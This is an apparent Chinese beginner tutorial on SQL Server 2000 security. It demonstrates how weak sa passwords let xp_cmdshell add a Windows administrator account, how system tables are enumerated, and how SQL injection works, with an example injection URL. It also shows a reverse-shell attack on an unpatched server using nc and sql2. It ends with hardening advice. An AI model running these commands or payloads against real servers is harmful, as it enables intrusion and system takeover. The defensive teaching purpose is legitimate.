单位的小王学习SQL Server已有一段时间了,已经做了个不错的管理系统,有次小王让我帮着看看库的设计有没有问题,其间我发现他的安全意识非常薄弱,这也许是初学者容易忽视的问题,本文探讨一些SQL Server常见的安全问题,是给初入SQL Server的人看的,写的肯定很絮叨,高手勿读。本文的用的是SQL Server 2000,下文中都简写为SQL Server。 一、空口令或弱口令 初学者在安装SQL Server时为了省事,SQL Server管理员sa 用的是空口令或弱口令,这样危险性十分巨大,而这些危险往往是初学者意识不到的,小王就觉得,自己的库是试验数据,没什么用,即使别人连上库也无所谓。殊不知SQL Server的默认用户sa的权限非常巨大,有种观点是sa的权限要大于administrator的权限,也就是说没有限制的sa用户可以做Windows系统管理员所做的任何事。下面我们做个简单的试验。通过SQL Server给Windows系统增加一个用户user1,并且把该用户增加到管理员用户组administrators里。 1、首先看看正常情况下在Windows系统增加该用户的方法。 有两种:一是在图形界面下进行,二是在命令窗口下进行,下面演示通过命令增加用户。 1)、在“开始”——〉“运行”处输入cmd,回车进入到命令窗口,如图1所示: 2)、第一行命令net user user1 /add (增加一个用户名是user1的用户)。 3)、第二行net localgroupadminisstrators user1 /add(将此用户增加到管理员用户组administrators中)。 4)、第三行net user(查看目前系统的用户,可以看到已增加了user1用户)。 5)、第四行net user user1 /delete (删除user1用户),为了下面通过SQL Server 给系统增加用户。 图1 2、在SQL Server中增加系统用户 1)、打开SQL Server的“企业管理器”——〉“工具”——〉 “SQL 查询分析器” 。如图2,输入要连接的SQL Server的IP地址,确定后出现图3界面,注意连接的是master库。 图2 2)、如图3所示,在查询窗口中输入:exec xp_cmdshell 'net user user1 /add',按 执行,如果出现图4“命令成功完成”的提示说明执行成功。 3)、接着如图5所示,输入exec xp_cmdshell 'net localgroup administrators user1 /add',执行成功后出现图5的提示说明。 图3 图4 图5 上边输入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它们就是我们上面用过的windows系统下的标准命令。图6可以看出user1已增加到管理员administrators组中。 图6 看到这明白了吧!通过功能强大的SQL Server可以做Windows系统管理员能做的事。上面通过SQL Server建立用户的实验是我从本机远程连接到测试机的SQL Server,增加了用户,图7是用刚建立的用户user1和远程计算机建立的ipc连接,这时要进入这台机器就是易如反掌的事了。接下来的的安全知识自己查查吧,网上非常多的。 图7 3、进一步解释 上面用的xp_cmdshell是SQL Server的扩展存储过程中的一个,存储过程就像是我们编程用的函数,内容是按需要编写的一系列SQL 语句和可选控制流语句,可由应用程序通过一个调用执行,而且允许用户声明变量、有条件执行以及其它强大的编程功能。每个库都可以存放存储过程,但扩展存储过程只存在master 数据库中,对用户来说,扩展存储过程与普通存储过程一样,执行方法也相同。但扩展存储过程能执行除了数据库之外的许多操作,上面我们看到通过调用xp_cmdshell可以执行windows系统下的各种命令。 扩展存储过程的功能非常强大,如图8,它们存在master库中的扩展存储过程中。 如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey这些扩展存储过程能对注册表进行读写操作。例如:可以通过下面命令查看注册表中的启动项目。 Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 二、注入和跨库攻击 注入和跨库攻击可能是2004年黑客攻击中最流行的词了,它的原理和上面讲的都是获得了SQL Server管理员sa的权限,从而控制数据库,还可以利用xp_cmdshell这样的SQL Server的扩展存储过程控制Windows系统。注入和空口令获取sa权限的方法不同,注入是ASP程序在连接SQL Server时有漏洞,黑客利用漏洞获取了sa权限。说到这,小王有点疑问,程序中sa连接的是自己的库而扩展存储过程在master库中,如何利用的?简单的说,有sa 的权限后就能查询出用户建的什么库,库中有哪些表,表中有什么字段,表的纪录等。这些又是如何实现的呢? 要解答这个问题需要从两个方面着手,一是新建个库后,SQL Server起了什么变化?二是SQL Server的权限。 1、新建一个库后其在系统库和系统表的位置 例:在SQL Server新建一个库,库名称为:xyz,在该库下建一个test的表,表中字段为id、name、password。 1)、库在哪里? SQL Server安装完毕后默认安装了master、model、msdb、northwind、pubs、tempdb这6个库,其中northwind、pubs是例子库,其它都是系统数据库,各有其用。xyz库建好后,库名称存在master库中的sysdatabases表中,如图9所示,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库。图10中用SELECT name FROM sysdatabases where dbid>6可以查出用户自己建的库,刚建的xyz库也在其中。 图9 图10 2)、表在哪里? 表名称存在xyz库中的sysobjects表且xtype='u',如图11,输入SELECT *FROM sysobjects where xtype='u'可以查出表名称是test,记住我们刚建的表test对应的id是357576312 图11 3)、有哪些字段? test表中有哪些字段呢?该表的字段存在xyz库中的syscolumns表中,且id等于sysobjects表中test表对应的id,也就是我们上面查出来的357576312。 如图12,输入SELECT * FROM syscolumns where id='357576312'可以查出test表中的字段。 图12 4)、总结 当有相应权限的用户连到SQL Server后,能通过查询master库中的sysdatabases表得到用户建的数据库名称,接着再查询用户数据库的sysobjects表查出创建的表,接着再查询用户数据库的syscolumns表查出表中的字段,进而查出纪录。 这个例子提到有相应权限的用户,那用户具有哪些权限呢?我们接着说。 2、理解用户、角色和权限这几个概念 要对这几个概念讲得很明白,需要很大的篇幅,本文只作简要介绍。 要想访问SQL Server必须是它的一个用户,如果要访问某个数据库,必须赋予该用户访问此数据库的权限。角色就是一系列权限的集合。用户和角色的关系就像Windows系统中的用户和用户组的关系。还是举例说明吧!sa为什么有那么大的权限? sa是SQL Server的默认超级用户,就像系统的administrator用户一样,如图13,点击在“安全性”——〉“登录”,在右栏的sa用户下鼠标右键,出现图14的sa属性界面选到“服务器角色”项,可以看到sa的角色是system administrators(简写为sysadmin),前面提到角色就是一系列权限的集合,点击图14的“属性”,在图15中可以看到该角色拥有操作SQL Server的所有权限。如图16可以看出sa具有所有数据库的访问权限,现在明白sa为什么有那么大的权限了吧。 图13 图14 图15 图16 实际做管理系统时并不需要用户有那么大的权限,一般只要能访问自己建的库就行了。可以新建个用户,只给此用户有限的权限,这样安全系数应该高些,从这个思路出发看看如何实现。 1)、新建aaa用户 如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。 图17 图18 2)、设置权限 如图18,在“服务器角色”选项中什么也不选,如图19,在“数据库访问”选项中只选“xyz”库,也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。 图19 图20 3)、测试 设置好后,用aaa用户登陆“SQL 查询分析器”,如图21,执行exec xp_cmdshell 'net user user1 /add',出现了期待的结果,没有权限执行。 图21 接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?问题出在public 角色,下面这段话是SQL Server帮助中写的。 public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色: · 捕获数据库中用户的所有默认权限。 · 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。 · 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。 · 无法除去。 如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'(数据库 'master',所有者 'dbo')的 SELECT 权限。”的提示。 图22 图23 图24 Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。 3、注入 对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相应的纪录。 关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。 三、SQL Server不打补丁的漏洞 小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下: 如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0 如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧! 图25 图26 四、几点建议 1、及时打补丁 不打补丁的危害上面已经演示了,道理就不用多说了吧! 2、最小的权限等于对大的安全 这句话说起容易,做起难,有一个简单易行的办法就是用流行的漏洞扫描工具和攻击工具检测本系统是否安全,这样的工具非常多,自己找吧。 3、安装防火墙 如果只是在本机调试系统,安装防火墙是非常好的选择,这样即使有漏洞别人也无法攻击。 4、改变端口 如果SQL Serve需要远程访问,端口一定是要开放的,即使安装了防火墙,也要将SQL Serve的服务端口1433放开,针对SQL Serve的攻击工具主要扫描的是1433端口,可以改变默认端口,这样虽然不能从根本上解决问题,但可以对付一般的扫描,改变端口最简单的办法是在打开“开始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服务器网络实用工具”,在界面中选中“TCP/IP”,点击“属性”,把1433改为不超过65535的一个数,重启SQL Serve服务,这样默认端口就改了,注意这时你远程连接SQL Serve时IP地址后要加改过的端口号。 5、删除不需要的扩展存储过程 如果你的系统中确实不需要这些扩展存储过程可以删除。 删除存储过程的命令是:EXEC sp_dropextendedproc ‘存储过程的名称’ 例如要删除xp_cmdshell,执行EXEC sp_dropextendedproc ‘xp_cmdshell’,每个扩展存储过程实际上用的是相应的dll文件,如果想彻底让该存储过程不起作用,还要将dll文件也删除。这些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如图28,xp_cmdshell的dll文件是xplog70.dll 要恢复该存储过程,命令是: EXEC sp_addextendedproc存储过程的名称 ,@dllname ='存储过程的dll' 例如:恢复存储过程xp_cmdshell EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢复时如果xplog70.dll已删除需要copy一个。SQL Server的几个安全问题